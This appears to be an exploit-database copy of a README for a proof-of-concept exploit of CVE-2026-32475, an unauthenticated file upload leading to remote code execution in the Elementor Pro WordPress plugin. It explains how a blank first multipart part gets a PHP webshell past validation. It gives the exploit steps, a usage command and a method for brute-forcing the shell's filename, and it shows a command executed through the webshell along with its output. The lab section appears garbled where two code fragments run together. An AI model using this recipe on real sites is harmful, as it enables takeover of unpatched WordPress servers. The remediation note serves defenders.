## https://sploitus.com/exploit?id=3644ED06-B6C1-589B-8B38-74033CEC8706
# CVE-2026-32475 — Elementor Pro Unauthenticated Arbitrary File Upload → RCE
Proof-of-concept for **CVE-2026-32475** (CVSS 9.0): an unauthenticated arbitrary file
upload vulnerability in the **Elementor Pro** WordPress plugin (≤ 4.2.1) that leads to
remote code execution.
## Root cause
In the Elementor Pro Forms module, the file-upload field handles each submitted entry in
two separate passes with inconsistent loop behavior:
- `validation()` — on the first entry with `UPLOAD_ERR_NO_FILE` it calls
`$ajax_handler->add_error(...)` and immediately **`return;`**, aborting validation of
every later entry.
- `process_field()` — the same condition only triggers **`continue;`**, skipping the
empty entry but still processing every subsequent one.
By submitting **two multipart parts for the same upload field** — a blank first part
followed by `shell.php` — the extension blocklist check never sees the PHP payload while
the move step happily stores it as `.php` inside the public
`wp-content/uploads/elementor/forms/` directory. Requesting that file directly executes
arbitrary PHP code as the web server user.
The only prerequisite: a published page containing an Elementor Pro Form widget with a
File Upload field (an extremely common configuration).
## What this PoC does
1. Fetches the target form page and scrapes `post_id`, `form_id` and the upload field id.
2. Sends the two-part malicious multipart POST to `admin-ajax.php`
(`action=elementor_pro_forms_send_form`).
3. Recovers the shell URL: the stored filename is `uniqid() . ".php"` where `uniqid()` is
microtime-based (8 hex chars seconds + 5 hex chars microseconds). Seconds come from
the server's `Date` header; only the microsecond spread must be swept, done with
parallel HTTP probes (`--probe-seconds`, `--step-us`, `--workers`).
4. Executes the requested command through the uploaded webshell via an HTTP header and
prints the output.
## Usage
```bash
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
```
Python 3 stdlib only. Tuning flags:
| Flag | Default | Meaning |
|---|---|---|
| `--probe-seconds` | `0.05` | uniqid microsecond window to sweep (seconds) |
| `--step-us` | `2000` | microseconds between probes |
| `--workers` | `24` | concurrent probe threads |
On fast links a 0.05–0.2 s window is usually enough. On slow targets the sweep takes
longer — increase workers or accept `PARTIAL PASS`, which already proves the
unauthenticated upload primitive (verify the dropped `.php` manually).
## Lab (reproduce)
```bash
docker network create wpnet
docker run -d --name wp-db --network wpnet \
-e MYSQL_ROOT_PASSWORD=rootpw -e MYSQL_DATABASE=wordpress \
-e MYSQL_USER=wp -e MYSQL_PASSWORD=wppw mysql:8.0
docker run -d --name wp-lab --network wpnet -p 8090:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wppw -e WORDPRESS_DB_NAME=wordpress \
wordpress:6.8-php8.2-apache
# install WordPress + Elementor (free) + vulnerable Elementor Pro .php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
```
## Remediation
Update Elementor Pro to **4.2.2+**. Until then, remove File Upload fields from public
forms or restrict form submission by WAF rule.
## References
- Patchstack: Critical unauthenticated file upload to RCE in Elementor Pro
- CVE-2026-32475 (CVSS 9.0), fixed in Elementor Pro 4.2.2 (2026-08-19)
- Reported by Tin Pham (TF1T) via Patchstack Bug Bounty Program
## Disclaimer
For authorized security research and lab use only.